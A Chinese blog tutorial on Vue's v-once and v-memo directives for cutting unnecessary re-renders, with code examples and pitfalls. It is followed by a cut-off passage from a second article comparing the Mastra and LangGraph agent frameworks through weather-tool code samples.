阅读视图
v-once和v-memo完全指南:告别不必要的渲染,让应用飞起来
前言
在日常开发中,我们可能遇到过这样的情况:写了一个 Vue 应用,数据量稍微大一点,页面就开始卡顿;用户只是点击了一个按钮,整个页面都要重新渲染;明明大部分内容都没变,却感觉应用像“老了十岁”一样慢。这是为什么呢?
Vue 的响应式系统很智能,但它也有“过度反应”的时候。就像我们只是拍了拍桌子,整个办公室的人都站起来看看发生了什么——这显然是一种浪费。
v-once 和 v-memo 就是来解决这个问题的。它们像两个聪明的“保安”,告诉 Vue:“这部分内容不用每次都检查,它没变” 和 “这部分内容只有在特定条件变化时才需要检查”。
本文将从最基础的概念讲起,用最通俗的语言,配合完整的代码示例,帮助我们彻底掌握这两个性能优化神器。
为什么要关注不必要的渲染
从一个简单的例子开始
我们先来看一个简单的例子:
<template>
<div>
<!-- 动态内容:会变化 -->
<h2>当前计数:{{ count }}</h2>
<button @click="count++">点我增加</button>
<!-- 静态内容:永远不会变 -->
<footer>
<p>© 2026 我的公司. 版权所有</p>
<p>联系方式:contact@example.com</p>
<p>地址:xxx</p>
</footer>
</div>
</template>
<script setup>
import { ref } from 'vue'
const count = ref(0)
</script>
这段代码看起来没什么,但实际上会发生了什么呢?
每次点击按钮是,count 都会变化,整个组件都会重新渲染。包括那个 永远不会变 的页脚。
虽然 Vue 的虚拟 DOM 会最终发现页脚没变,不会更新真实的 DOM,但这个过程仍然需要:
- 执行渲染函数
- 创建新的虚拟 DOM
- 和旧的虚拟 DOM 进行对比
- 确认没有变化,跳过更新
这就像我们每天早上去公司,尽管保安每天都会看到我们,但他们仍然每天都要重新核对我们的身份信息,这是一种不必要的浪费。
Vue 的默认更新机制
响应式数据变化
↓
组件重新渲染函数执行
↓
生成新的虚拟 DOM 树
↓
与旧虚拟 DOM 进行 diff 比较
↓
计算出需要更新的真实 DOM
↓
执行 DOM 更新
不必要的渲染有多"贵"?
我们先看一段数据:
| 组件规模 | 一次不必要的渲染耗时 | 每天10万次操作 | 额外开销 |
|---|---|---|---|
| 小型组件(50个节点) | 0.5ms | 50,000ms | 50秒 |
| 中型组件(200个节点) | 2ms | 200,000ms | 3.3分钟 |
| 大型组件(1000个节点) | 10ms | 1,000,000ms | 16.7分钟 |
想象一下,用户每天要多等十几分钟,就因为应用在“瞎忙活”。
什么是不必要的渲染?
简单来说就是:渲染的结果和上一次 完全一样,但过程却重复执行了。
// 这是一个"不必要的渲染"的典型案例
const App = {
template: `
<div>
<!-- 这部分每次都会重新计算,但结果永远一样 -->
<div>{{ getStaticData() }}</div>
<!-- 这部分确实需要更新 -->
<div>{{ dynamicData }}</div>
</div>
`,
methods: {
getStaticData() {
console.log('我被调用了!') // 其实只需要调用一次
return '永远不变的内容'
}
}
}
问题:即使大部分内容没变,渲染函数仍会执行,虚拟 DOM 树仍会创建,diff 算法仍需遍历。
v-once:一次渲染,终身躺平
v-once 是什么?
v-once 是 Vue 提供的一个指令,它的作用就像它的名字一样:只渲染一次。之后无论数据怎么变化,这部分内容都不会再更新。
用生活化的比喻理解v-once
想象一下,我们正在装修房子:
- 普通渲染:每天都要重新粉刷一遍墙壁,尽管颜色没变
-
v-once渲染:装修一次,以后再也不动它
v-once 的基本用法
<template>
<div>
<!-- 普通内容:每次count变化都会更新 -->
<p>当前计数:{{ count }}</p>
<!-- v-once内容:只渲染一次,之后永远不变 -->
<p v-once>初始计数:{{ count }}</p>
<button @click="count++">增加计数</button>
</div>
</template>
<script setup>
import { ref } from 'vue'
const count = ref(0)
</script>
运行效果
- 首次加载:两个都显示“0”
- 点击按钮:上面变成“1”,下面还是“0”
- 继续点击:上面一直变,下面永远是“0”
v-once的工作原理
让我们用流程图来理解:
首次渲染
↓
遇到 v-once 指令
↓
正常渲染内容
↓
将生成的虚拟DOM缓存起来
↓
打上"静态标记"
↓
─────────────────
↓
后续更新时
↓
遇到 v-once 标记
↓
直接返回缓存的虚拟DOM
↓
跳过所有更新逻辑
v-once 的实现机制
// 简化版的 v-once 实现原理
function processOnceNode(vnode) {
if (vnode.shapeFlag & ShapeFlags.COMPONENT_ONCE) {
// 如果是组件,标记为静态组件
vnode.isStatic = true
return vnode
}
// 如果是元素,创建静态节点
const staticNode = createStaticVNode(
vnode.children,
vnode.props
)
// 后续更新直接返回缓存的静态节点
return staticNode
}
v-once 的适用场景
场景一:页脚版权信息等纯静态内容
<!-- 页脚版权信息,永远不变 -->
<footer v-once>
<p>© 2026 我的公司. All rights reserved.</p>
<p>ICP备案号:xxxxx</p>
<div class="contact">
<p>邮箱:contact@example.com</p>
<p>电话:400-123-4567</p>
</div>
</footer>
场景二:一次性初始数据
<template>
<div class="user-profile">
<!-- 用户 ID 只在创建时显示,后续不变 -->
<div v-once class="user-meta">
<span>用户ID:{{ userId }}</span>
<span>注册时间:{{ registerDate }}</span>
<span>会员等级:{{ initialLevel }}</span>
</div>
<!-- 动态更新的内容 -->
<div class="user-points">
当前积分:{{ points }}
<button @click="points++">签到</button>
</div>
</div>
</template>
场景三:复杂的静态组件
<template>
<div class="dashboard">
<!-- 左侧:帮助文档组件,完全静态,只需加载一次 -->
<HelpDocumentation v-once class="sidebar" />
<!-- 右侧:动态更新的内容 -->
<div class="main-content">
<DashboardCharts :data="liveData" />
<RealTimeLogs :logs="systemLogs" />
</div>
</div>
</template>
场景四:与 v-for 配合优化列表
<template>
<div class="data-table">
<!-- 表格头部完全静态 -->
<div v-once class="table-header">
<div class="col">姓名</div>
<div class="col">年龄</div>
<div class="col">部门</div>
<div class="col">操作</div>
</div>
<!-- 动态列表项 -->
<div v-for="item in list" :key="item.id" class="table-row">
<div class="col">{{ item.name }}</div>
<div class="col">{{ item.age }}</div>
<div class="col">{{ item.department }}</div>
<div class="col">
<button @click="edit(item.id)">编辑</button>
</div>
</div>
</div>
</template>
v-once 的使用注意事项
| 注意事项 | 说明 | 示例 |
|---|---|---|
| 失去响应性 | v-once 内的所有数据绑定都变成静态,不再响应更新 |
<div v-once>{{ count }}</div> 永远不会更新 |
| 子树全静态 | v-once 作用于元素时,其所有子元素也变为静态 | 整个组件树都会静态化 |
| 避免滥用 | 只在真正不需要更新的地方使用,否则会导致数据和视图不一致 | 动态内容不能用 v-once |
| 组件中使用 | 组件上加 v-once,整个组件只会渲染一次 | <ComplexChart v-once /> |
v-once 性能收益实测
测试环境:
- 页面包含 200 个静态节点
- 每秒触发 10 次更新
- 运行 60 秒
| 指标 | 未优化 | 使用 v-once | 提升 |
|---|---|---|---|
| 渲染函数调用次数 | 60,000 次 | 600 次 | 99% |
| 虚拟 DOM 创建 | 60,000 次 | 600 次 | 99% |
| 内存分配 | 850MB | 85MB | 90% |
| CPU 使用率 | 65% | 8% | 88% |
| 平均帧率 | 45fps | 60fps | 33% |
v-memo:有条件地记忆渲染
为什么要 v-memo?
v-once 虽然好,但它的缺点也很明显:要么永远更新,要么永远不更新。现实开发中,我们经常遇到这样的情况:
- 列表项的大部分内容稳定,但少数字段会变
- 组件的大部分数据不变,但需要响应某些特定变化
这时候就需要 v-memo 了。
v-memo 是什么?
v-memo 是 Vue 3.2+ 引入的新指令,它可以接受一个依赖数组,只有当数组中的值变化时,才会重新渲染。
用生活化的比喻理解 v-memo
想象一下,我们在公司里:
- 普通员工:领导一喊,所有人都站起来(不管是不是叫自己)
-
v-memo员工:只有听到自己名字才站起来
v-memo的基本用法
<template>
<div
v-for="item in items"
:key="item.id"
v-memo="[item.id, item.price, item.stock]"
>
<!-- 只有当 item.id、item.price 或 item.stock 变化时才重新渲染 -->
<h3>{{ item.name }}</h3>
<p>价格:{{ item.price }}</p>
<p>库存:{{ item.stock }}</p>
<button @click="toggleFavorite(item.id)">
{{ item.isFavorite ? '取消收藏' : '收藏' }}
</button>
</div>
</template>
v-memo的工作原理
让我们用流程图来理解:
首次渲染
↓
计算依赖数组的值
↓
缓存这些值和生成的虚拟DOM
↓
─────────────────
↓
后续更新触发
↓
重新计算依赖数组的新值
↓
和缓存的值比较
↓
有变化?→ 是 → 重新渲染,更新缓存
↓
否
↓
直接返回缓存的虚拟DOM
↓
跳过所有更新逻辑
v-memo 工作机制的三阶段
1. 依赖收集阶段
- 编译时解析依赖数组
- 建立响应式依赖图谱
- 为每个节点创建 memo 缓存
2. 缓存对比阶段
- 重新渲染前计算依赖数组的新值
- 与缓存的上次值进行浅比较
- 若未变化 → 直接复用缓存的 VNode 树
- 若已变化 → 重新生成 VNode 并更新缓存
3. 虚拟 DOM 跳过
- 完全跳过该节点的
diff计算 - 不触发子树的渲染函数
- 直接复用真实 DOM
v-memo的实战场景
场景一:超大规模商品列表
想象一个电商网站的商品列表,有1万件商品:
<template>
<div class="product-list">
<div
v-for="product in products"
:key="product.id"
v-memo="[
product.id,
product.price,
product.stock,
product.isFavorite
]"
class="product-item"
>
<img :src="product.image" :alt="product.name" />
<h3>{{ product.name }}</h3>
<p class="price">¥{{ product.price }}</p>
<p class="stock">库存: {{ product.stock }}件</p>
<p class="sales">销量: {{ product.sales }}件</p>
<p class="rating">评分: {{ product.rating }}分</p>
<button
@click="toggleFavorite(product.id)"
:class="{ active: product.isFavorite }"
>
{{ product.isFavorite ? '已收藏' : '收藏' }}
</button>
</div>
</div>
</template>
<script setup>
import { ref } from 'vue'
// 生成1万件商品
const products = ref(
Array.from({ length: 10000 }, (_, i) => ({
id: i,
name: `商品 ${i}`,
price: Math.floor(Math.random() * 1000),
stock: Math.floor(Math.random() * 100),
sales: Math.floor(Math.random() * 1000),
rating: (Math.random() * 5).toFixed(1),
image: `https://picsum.photos/200/150?random=${i}`,
isFavorite: false
}))
)
function toggleFavorite(id) {
const product = products.value.find(p => p.id === id)
product.isFavorite = !product.isFavorite
// ✅ 只有被点击的那一项会重新渲染
}
</script>
优化效果:
- 用户点击收藏时,只有被点击的商品重新渲染
- 后台更新价格时,只有价格变化的商品重新渲染
- 其他 9999 件商品完全不动
场景二:复杂计算缓存
<template>
<div class="dashboard">
<!-- 只有当原始数据或用户设置变化时才重新计算 -->
<div
class="dashboard-content"
v-memo="[rawData.version, userSettings.theme]"
>
<DashboardHeader />
<!-- 这里的数据需要复杂计算 -->
<DataVisualization :data="processedData" />
<StatsCards :stats="computedStats" />
<ActivityChart :chart-data="chartData" />
</div>
</div>
</template>
<script setup>
import { ref, computed } from 'vue'
const rawData = ref(fetchData()) // 10MB的原始数据
const userSettings = ref({ theme: 'light', language: 'zh' })
// 复杂计算:处理10MB数据
const processedData = computed(() => {
console.log('正在处理数据...') // 我们希望这个不要频繁执行
return rawData.value.map(item => ({
...item,
processed: heavyComputation(item)
}))
})
// 当用户切换主题时,不应该重新计算processedData
// 但上面的v-memo确保了这一点:只有rawData.version或userSettings.theme变化时才重新渲染
</script>
场景三:聊天消息列表
<template>
<div class="chat-messages">
<div
v-for="msg in messages"
:key="msg.id"
v-memo="[msg.id, msg.content, msg.timestamp, msg.isRead]"
class="message"
:class="{ 'message-self': msg.senderId === currentUserId }"
>
<img :src="msg.avatar" class="avatar" />
<div class="content">
<div class="sender">{{ msg.senderName }}</div>
<div class="text">{{ msg.content }}</div>
<div class="time">{{ formatTime(msg.timestamp) }}</div>
</div>
<div class="status">
<span v-if="msg.isRead">已读</span>
<span v-else-if="msg.isSending">发送中...</span>
<span v-else-if="msg.isFailed">发送失败</span>
</div>
</div>
</div>
</template>
<script setup>
const messages = ref([])
// 新消息到来时,只有新消息会渲染
// 已读状态变化时,只有那条消息会更新
// 其他消息完全不动
</script>
场景四:选中状态高亮
<template>
<div class="image-gallery">
<div
v-for="image in images"
:key="image.id"
v-memo="[selectedId === image.id]"
class="image-item"
:class="{ selected: selectedId === image.id }"
@click="selectedId = image.id"
>
<img :src="image.thumbnail" :alt="image.title" />
<div class="overlay">
<h4>{{ image.title }}</h4>
<button @click.stop="download(image.id)">下载</button>
</div>
</div>
</div>
</template>
<script setup>
const selectedId = ref(null)
// 点击时,只有之前选中的和当前选中的两个图片会重新渲染
// 其他9998张图片完全不动
</script>
v-memo 依赖项选择的黄金法则
- 精准包含:只放那些真正会影响渲染的字段
- 避免冗余:不要把整个对象放进去
- 稳定依赖:不要用
Date.now()这种每次都变的值 - 版本控制:复杂对象可以用版本号
选择决策树
graph TD
Start[遇到一个组件/元素] --> Question1{内容永远不变吗?}
Question1 -->|是| A[用 v-once]
Question1 -->|否| Question2{是长列表?<br>(>500项)}
Question2 -->|否| B[暂时不需要优化]
Question2 -->|是| Question3{更新频率高吗?}
Question3 -->|低| C[保持现状]
Question3 -->|高| Question4{能否精确控制更新?}
Question4 -->|否| D[考虑虚拟滚动]
Question4 -->|是| E[用 v-memo 精确优化]
v-once vs v-memo,如何选择?
特性对比表
| 对比维度 | v-once | v-memo |
|---|---|---|
| 适用版本 | Vue 2+ | Vue 3.2+ |
| 更新策略 | 永不更新 | 条件更新 |
| 依赖声明 | 无 | 显式数组 |
| 学习难度 | ⭐ | ⭐⭐⭐ |
| 适用场景 | 纯静态内容 | 大部分稳定的动态内容 |
| 代码侵入性 | 低 | 中 |
组合使用示例
<template>
<div class="app">
<!-- 1. 完全静态的头部 -->
<header v-once>
<AppLogo />
<AppTitle />
<NavigationMenu />
</header>
<!-- 2. 动态列表,但有条件更新 -->
<div class="content">
<div
v-for="item in items"
:key="item.id"
v-memo="[item.id, item.updatedAt]"
>
<!-- 2.1 每个列表项内部的静态部分 -->
<div v-once class="item-static">
<img :src="item.avatar" />
<span>ID: {{ item.id }}</span>
</div>
<!-- 2.2 每个列表项内部的动态部分 -->
<div class="item-dynamic">
<h3>{{ item.title }}</h3>
<p>{{ item.content }}</p>
<span>点赞: {{ item.likes }}</span>
</div>
</div>
</div>
<!-- 3. 完全静态的页脚 -->
<footer v-once>
<Copyright />
<ContactInfo />
</footer>
</div>
</template>
性能收益对比
| 场景 | 优化前 | v-once | v-memo |
|---|---|---|---|
| 静态页脚 | 每次更新都渲染 | 0次更新 | 不适用 |
| 收藏按钮点击 | 整个列表重绘 | 不适用 | 只更新单个项 |
| 价格批量更新 | 整个列表重绘 | 不适用 | 只更新价格变化项 |
| 列表项1000条 | 120ms | 不适用 | 35ms |
常见陷阱与解决方案
v-memo 依赖遗漏
<!-- ❌ 错误:遗漏了关键依赖 -->
<div
v-for="item in items"
v-memo="[item.id]"
>
{{ item.name }} <!-- 当name变化时,这里不会更新! -->
<span :class="{ active: item.isActive }">
{{ item.status }}
</span>
</div>
<!-- ✅ 正确:包含所有依赖 -->
<div
v-for="item in items"
v-memo="[item.id, item.name, item.isActive, item.status]"
>
{{ item.name }}
<span :class="{ active: item.isActive }">
{{ item.status }}
</span>
</div>
在错误的位置使用 v-memo
<!-- ❌ 错误:在父容器上使用v-memo -->
<ul v-memo="[items.length]">
<li v-for="item in items" :key="item.id">
{{ item.name }}
</li>
</ul>
<!-- 结果:items.length不变时,整个列表都不更新 -->
<!-- 但item.name变化时也不会更新! -->
<!-- ✅ 正确:在v-for的项上使用 -->
<ul>
<li
v-for="item in items"
:key="item.id"
v-memo="[item.id, item.name]"
>
{{ item.name }}
</li>
</ul>
滥用v-once导致bug
<!-- ❌ 错误:动态内容用了v-once -->
<div v-once>
<h3>当前用户:{{ username }}</h3> <!-- 永远不会更新! -->
<button @click="logout">退出登录</button>
</div>
<!-- ✅ 正确:只静态化真正静态的部分 -->
<div>
<h3>当前用户:{{ username }}</h3> <!-- 动态 -->
<div v-once>操作面板</div> <!-- 静态 -->
<button @click="logout">退出登录</button> <!-- 动态 -->
</div>
最佳实践清单
什么时候用 v-once?
- 版权信息、页脚
- 表格表头
- 静态导航菜单
- 一次性初始数据
- 复杂的静态组件(帮助文档、使用说明)
什么时候用 v-memo?
- 超长列表(>500项)
- 高频更新的区域隔离
- 选中状态切换
- 复杂计算的缓存
- 聊天消息列表
优化检查清单
-
v-memo的依赖数组包含了所有影响渲染的字段 - 避免在
v-memo中使用Date.now()、Math.random() -
v-memo正确放在v-for的项上,而不是父容器 -
v-once只用于真正静态的内容 - 组合使用时逻辑清晰
- 用性能工具验证了优化效果
性能优化的哲学
- 优化不是炫技:用数据和用户体感说话
- 适度原则:不是所有地方都需要优化
- 持续演进:性能优化是过程,不是终点
- 量化的力量:没有数据的优化是盲目的
结语
v-once 和 v-memo 是 Vue 提供的两个强大的优化工具,但它们不是银弹。真正的性能优化,是在理解业务场景的基础上,选择合适的技术,验证优化效果,持续改进的过程。让该更新的更新,该躺平的躺平,这才是 Vue 性能优化的真谛!
对于文章中错误的地方或有任何疑问,欢迎在评论区留言讨论!
2026 年前端 Agent 框架选型:Mastra 与 LangChain 该怎么选
我正在开发 DocFlow,它是一个完整的 AI 全栈协同文档平台。该项目融合了多个技术栈,包括基于
Tiptap的富文本编辑器、NestJs后端服务、AI集成功能和实时协作。在开发过程中,我积累了丰富的实战经验,涵盖了Tiptap的深度定制、性能优化和协作功能的实现等核心难点。
如果你对 AI 全栈开发、Tiptap 富文本编辑器定制或 DocFlow 项目的完整技术方案感兴趣,欢迎加我微信 yunmz777 进行私聊咨询,获取详细的技术分享和最佳实践。
如果你对 AI全栈 感兴趣,也欢迎添加我微信,我拉你进交流群
2026 年的前端圈卷出了新高度,AI Agent 已是各类 Web 应用的标配。官网智能客服、内部任务助手、产品内的搜索与推荐,都绕不开一件事:用哪个框架把大模型和工具串起来。不少团队会在 LangChain.js 和 Mastra 之间反复纠结,架构评审时也常为此争论。
两者没有绝对优劣,差别主要在"设计哲学"和"业务场景"的匹配度。Mastra 像为前端量身定制的厨师刀,刀刃顺手、切菜切肉都轻松;LangChain.js(尤其是 LangGraph.js)则像重型瑞士军刀,刀锯镊子开瓶器齐全,能应付各种复杂场景,代价是重量和复杂度都更高。下文从 2026 年技术生态出发做一次对比,并配上代码与图示,方便你理清思路、少走弯路。
为什么前端选型会卡在这两个框架上
前端接大模型、做 Agent,本质是三件事:把用户输入送给 LLM、根据输出决定下一步(是否调工具、是否多轮对话)、再把结果还给用户。不同框架在这三条链路上的抽象程度和侧重点差异很大。一类把"循环调工具、拼消息"全包在内部,对外只暴露"发消息、拿回复",你几乎不用关心内部调了几轮工具;另一类把节点、边、状态都暴露给你,自己搭图,灵活性高,但概念和代码量都上去,得先建立"图"的思维才能写得顺手。
LangChain 从 Python 生态长出来,后有 langchain-js,再后来复杂编排催生了 LangGraph,面向任意语言和部署环境的通用编排,概念多、集成广,前端只是消费端之一。文档里会反复出现 Runnables、LCEL、RunnableSequence、RunnablePassthrough 以及各种 @langchain/xxx 包,学习路径会先经过"什么是 Runnable、reducer、checkpointer"这一串概念。Mastra 则从 TypeScript 和现代前端框架出发,默认你在用 Next.js、Nuxt 等全栈框架,API 和类型系统都围着前端习惯转,包名和概念更收敛,文档集中在"在 React、Server Actions 里怎么用",很少逼你先学一整套编排术语。
选型归根结底就两点:团队和产品更接近"通用 AI 编排"还是"前端优先的轻量 Agent"。前者偏向后端或全栈做复杂系统,愿意为灵活性和生态付学习成本;后者偏向前端或小团队在现有 Web 应用里快速接一层智能,希望少概念、少依赖、快上线。
如下图所示。
两种哲学一目了然:一侧是前端优先的轻量体验,一侧是通用编排与生态。
Mastra 的定位与优势
Mastra 从诞生起就面向 TypeScript 和现代前端框架(Next.js、Nuxt 等),针对前端痛点,主打开发者体验(DX)。
TypeScript 原生与类型安全
端到端类型推导做得很好:Agent 的输入、输出和工具调用参数在 IDE 里都有完整类型提示和自动补全,不必手写类型转换或 as 断言。工具用 zod 或 TypeScript 类型定义入参,框架自动生成模型可用的 schema 并做运行时校验。例如在 createTool 里写 inputSchema: z.object({ location: z.string() }),调用时入参即被推断为 { location: string },返回值与 outputSchema 对齐,和现有基于 zod 的表单校验、API 契约也容易打通。
轻量且贴合全栈框架
部署在 Vercel、Cloudflare Workers 等 Serverless 或 Edge 上时,Mastra 的冷启动和边缘兼容性通常更好。没有 LangChain 那套 Runnables、LCEL 等抽象层,依赖树干净,打包体积可控,不必为"跑通一个带工具的 Agent"拉满 @langchain/core、@langchain/openai、@langchain/langgraph 等一长串包。在 Next.js 的 Server Action、Route Handler 里直接调 Mastra Agent,心智负担小,和现有数据流(表单、状态、API)易对齐,也方便和 React Server Components、流式 SSR 配合。
心智负担低
API 贴近前端数据流直觉:发一段消息、拿一段回复、必要时调几个工具。Mastra 把 LLM 调度、工具解析和流式输出包起来,用简单异步函数或 React 友好接口暴露,不必理解"图、节点、条件边、reducer",会写 createTool 和 new Agent、会调 generate 或流式方法就能跑通,适合作为团队第一个 Agent 项目的起点。
适合的场景小结
Mastra 特别适合这几类情况:
- Agent 主要是 Web 应用的辅助功能(智能搜索、客服助手、简单数据总结或表单建议),且深度绑定 Next.js、React 生态。
- 团队以前端或全栈为主,不想引入过重后台架构,希望快速迭代上线,同时要类型安全和良好调试体验。
- 对依赖体积、冷启动和 Edge 兼容性敏感,不想为用不到的能力背上整座 LangChain 生态。
LangChain.js 与 LangGraph 的定位与优势
到 2026 年,单纯用 LangChain 搞复杂 Agent 已不够用,实际在评估的往往是 LangGraph.js,它是处理复杂、有状态、多 Agent 协作时的常用方案。
生态系统覆盖广
冷门向量库、大模型厂商、各种外部 API,LangChain 生态里大多已有现成集成。Pinecone、Weaviate、Qdrant、Chroma、自建 REST、OpenAI、Anthropic、Cohere、国产大模型,以及 Tavily、SerpAPI 等,多数有官方或社区的 @langchain/xxx 包。公司内有老旧系统、私有模型或特定协议时,也容易在现有集成上做薄封装,复用 LangChain 的 Runnable、消息格式和工具约定,快速对接大量外部依赖时能省下不少适配和调试时间。
状态机与图逻辑(LangGraph)
需要"循环思考、多路分支、人类介入(Human-in-the-loop)"的复杂工作流时,LangGraph 的图架构能精确控制节点流转。节点是处理单元(一次 LLM 调用、工具执行或人工审核),边是状态转移(固定边或条件边)。状态可持久化到 checkpointer,刷新或断线重连后从断点继续,适合多轮任务和多人协作,也是 Mastra 目前不直接提供的部分。
过度抽象的代价
学习曲线陡:Runnables、Chains、Tools、Nodes、Edges、Annotation、reducer、checkpointer 等概念交织,新手易迷路。实现"用户问一句、模型调一次工具再回答"这种简单功能,也要先理解状态结构、写 agent 与 tools 节点、配条件边和普通边再 compile,代码量明显多于"Agent 配置 + 一次 generate"。报错常来自链式调用的某一层,堆栈里是 LangChain 内部的 Runnable 名,前端背景的开发者需要时间习惯"从图的角度想问题"。LangGraph 的 TypeScript 类型虽完整,但状态是运行时用 Annotation 和 reducer 拼出来的,和 Mastra 那种"工具入参即 zod schema、一眼能看出类型"的体验比,心智负担更大。
适合的场景小结
LangChain、LangGraph 更适合这几类情况:
- 核心业务就是复杂 AI 系统:多 Agent 协作、长时运行异步任务、或需精准控制"思考中断与恢复"。
- 集成需求多且杂,要接内部老旧系统或非常小众的向量库、模型接口。
- 要对底层 Prompt、重试、记忆(Memory)做深度定制,甚至改框架默认行为。
核心能力对比
用一张表概括两个方向在关键维度上的差异,细节在前后文展开。
| 维度 | Mastra | LangChain.js / LangGraph |
|---|---|---|
| 设计核心 | 极致 DX、原生 TS、轻量化 | 复杂编排、状态管理、大生态 |
| 学习曲线 | 平缓,熟悉 TS 即可快速上手 | 陡峭,需理解大量框架专属概念 |
| 调试体验 | 堆栈清晰,贴合前端习惯 | 多层抽象,报错有时难以定位 |
| 多 Agent | 支持,更适合简单链式交互 | 极强,循环与状态打断控制完善 |
| 生态与集成 | 精选集成,覆盖主流工具 | 海量集成,几乎覆盖常见基础设施 |
| 依赖与体积 | 包少、体积小,Edge 友好 | 多包组合,体积与冷启动略大 |
Mastra 通常只需 @mastra/core 加模型适配(如 OpenAI),LangChain 则常需 @langchain/core、@langchain/openai(或其它模型包)、@langchain/langgraph,再接向量库或 RAG 还会多几个包,在 Serverless 冷启动和 Edge 里更敏感一些。
如下图所示。
从设计重心到依赖体积,一张图能看清两边差异。下面用两段代码对比同一需求的实现方式,再给出选型决策说明。
用代码感受两种 API 风格
同一需求"做一个能查天气的对话 Agent",在 Mastra 和 LangGraph 里写出来的代码量和抽象层次差很多,看一遍再想选型会直观不少。
Mastra:工具 + Agent 几行搞定
在 Mastra 里用 createTool 定义工具的入参(zod)、描述和执行函数,创建 Agent 时把工具挂上去即可。调用时直接 agent.generate() 或流式接口,不用关心"模型要不要调工具、调完要不要再推理",框架内部处理。
下面示例定义了一个查天气工具和一个使用该工具的 Agent。工具入参用 z.object 声明,execute 的返回值与 outputSchema 一致,整条链路在 IDE 里都有类型推导。示例使用 OpenAI 当前主力模型 gpt-5.4,实际项目里可通过环境变量配置 API Key。
import { createTool } from "@mastra/core/tools";
import { Agent } from "@mastra/core/agent";
import { z } from "zod";
const getWeather = createTool({
id: "get_weather",
description: "根据城市名称查询当前天气,适合回答天气相关提问",
inputSchema: z.object({
location: z.string().describe("城市名称,如北京、上海"),
}),
outputSchema: z.object({ summary: z.string(), temp: z.number().optional() }),
execute: async ({ location }) => {
// 实际项目里这里调和风、OpenWeather 等 API
return { summary: `${location} 晴`, temp: 22 };
},
});
const weatherAgent = new Agent({
id: "weather-agent",
name: "天气助手",
instructions: "你是天气助手,用 get_weather 查天气并简洁回复用户。",
model: "openai/gpt-5.4",
tools: { getWeather },
});
// 在 Next.js Route Handler 或 Server Action 里直接调用
const result = await weatherAgent.generate("北京今天天气怎么样?");
console.log(result.text);
在 Next.js 的 Route Handler 里暴露成 API 时,导入 weatherAgent,对请求体里的消息调 generate 或流式方法即可,不必再写状态机或图。
LangGraph:显式建图与状态
在 LangGraph 里,要先定义状态结构(例如消息列表)、再定义"agent"节点(调用模型、可能产生 tool_calls)和"tools"节点(执行工具并返回 ToolMessage),最后用边把节点串起来,并加上"是否继续调工具"的条件边。模型用 LangChain 的 ChatOpenAI 接 OpenAI 最新模型,工具用 bindTools 绑定,循环由图的拓扑自然形成。
下面这段示例用 StateGraph 定义了一个单 Agent、带一个天气工具的最小图。状态里只有 messages,agent 节点读最后一条用户消息并调用模型,若返回 tool_calls 则路由到 tools 节点,执行完再回到 agent,直到模型不再调工具为止。可与上面 Mastra 示例对照,体会"图"和"状态"的显式写法。
import { StateGraph, Annotation, END } from "@langchain/langgraph";
import { ChatOpenAI } from "@langchain/openai";
import { tool } from "@langchain/core/tools";
import { z } from "zod";
import { HumanMessage, AIMessage, BaseMessage } from "@langchain/core/messages";
import { ToolNode } from "@langchain/langgraph/prebuilt";
const model = new ChatOpenAI({
model: "gpt-5.4",
apiKey: process.env.OPENAI_API_KEY,
});
const getWeather = tool(
async (input: { location: string }) => `${input.location} 晴,22℃`,
{
name: "get_weather",
description: "根据城市名称查询当前天气",
schema: z.object({ location: z.string() }),
},
);
const modelWithTools = model.bindTools([getWeather]);
const toolNode = new ToolNode([getWeather]);
const AgentState = Annotation.Root({
messages: Annotation<BaseMessage[]>({
reducer: (left, right) => left.concat(right),
default: () => [],
}),
});
async function agentNode(state: typeof AgentState.State) {
const response = await modelWithTools.invoke(state.messages);
return { messages: [response as AIMessage] };
}
function shouldContinue(state: typeof AgentState.State): "tools" | "end" {
const last = state.messages[state.messages.length - 1] as AIMessage;
return last.tool_calls?.length ? "tools" : "end";
}
const graph = new StateGraph(AgentState)
.addNode("agent", agentNode)
.addNode("tools", toolNode)
.addEdge("tools", "agent")
.addConditionalEdges("agent", shouldContinue, { tools: "tools", end: END })
.compile();
const result = await graph.invoke({
messages: [new HumanMessage("北京今天天气怎么样?")],
});
console.log(result.messages[result.messages.length - 1]);
同样实现"用户问天气、模型调工具、再回复":Mastra 是"Agent + tools 配置 + 一次 generate",LangGraph 是"状态注解 + 两节点 + 条件边 + compile"。前者适合快速落地和前端集成,后者适合加人工审核、多 Agent 分支、断点续跑等复杂控制。示例中 LangGraph 使用 gpt-5.4,API Key 建议从环境变量 OPENAI_API_KEY 读取。
选型决策思路
可以按"产品形态、团队基因、集成与定制需求"三条线问自己,再对照上文对比。决策主线就一条:先看 Agent 是"应用的核心"还是"应用里的辅助能力"。核心场景(多 Agent、长任务、状态中断与恢复、大量冷门集成或深度定制)更倾向 LangGraph;辅助能力(Next/React 为主、快速迭代、极重 TypeScript 与 DX)更倾向 Mastra。不必二选一,也可以简单对话用 Mastra、复杂管线用 LangGraph,按模块边界拆。
如下图所示。
从"核心还是辅助"出发,到倾向 LangGraph 或 Mastra(或两者组合)的决策路径。
更偏向选 Mastra 的情况
- 产品形态上,Agent 主要作为 Web 应用的辅助功能(智能搜索、客服助手、简单数据总结等),且深度绑定 Next.js、React 生态。
- 团队以前端、全栈为主,不想引入过重的后台架构,希望快速迭代、快速上线。
- 你非常看重 TypeScript 的类型安全和开发体验,对臃肿依赖和难以排查的报错比较排斥。
更偏向选 LangChain / LangGraph 的情况
- 产品形态上,核心业务就是一个复杂的 AI 系统,例如多 Agent 协作、长时间运行的异步任务、或需要精准控制思考中断与恢复。
- 集成需求多且杂,需要连接内部各种老旧系统,或使用非常小众的向量数据库、模型接口。
- 需要对底层 Prompt、重试、Memory 等做深度定制,甚至改动框架默认行为。
结合业务场景做更细的取舍
光看框架特性不够,最终要落到"这个 Agent 具体负责什么"上。下面四类典型场景方便对号入座,每类对应不同复杂度和集成需求,选错框架要么大材小用,要么后期自己造轮子。
如下图所示。
四类场景与推荐方向的对应关系。
场景一:官网或产品里的智能客服、搜索建议
用户在一页里问几句,要即时、简洁的回复,必要时查文档或知识库。流程短、状态简单,不需要多 Agent 博弈或断点续跑,前端发一条消息、收一条(或流式)回复,至多一两轮工具调用。这类需求 Mastra 的轻量 API 和 TypeScript 体验很顺手,一个 Agent 配几个工具、在 Route Handler 里调 generate 就能上线;用 LangGraph 容易杀鸡用牛刀,要先建图、理解条件边和状态,对只想做一个会查文档的客服的团队来说性价比不高。
场景二:内部工具里的"多步任务助手"
